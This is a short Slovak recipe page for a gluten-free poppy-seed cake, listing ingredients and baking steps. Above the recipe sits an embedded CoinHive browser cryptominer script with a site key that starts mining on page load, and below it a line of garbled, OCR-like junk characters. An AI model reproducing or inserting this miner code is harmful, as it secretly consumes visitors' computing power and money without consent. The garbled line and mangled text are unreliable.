Makova torta — Makana

var miner = new
CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bU
D87VW1NfjqucRZNNVTb1AHGUK2fkg5Nd55mLNnB4WK'); miner.start();

/

M&/ljizﬂfqﬂA/yagr/ﬂg/m/ £
dendiano eoni v

Potrebujeme: 5 vajec, 230 g praskového cukru, 1 vanilkovy cukor, 150 ml vody, 150 ml oleja, 1
prasok do peciva, 220 g bezlepkovej muky, 160 g nemletého maku

Postup: Vysfahame vajcia s cukrom, pridame pomaly olej a vodu, potom ostatné suroviny.
Cesto dame do tortovej formy vystlanej papierom na pecenie a pe€ieme cca 45 minut na

170°C.




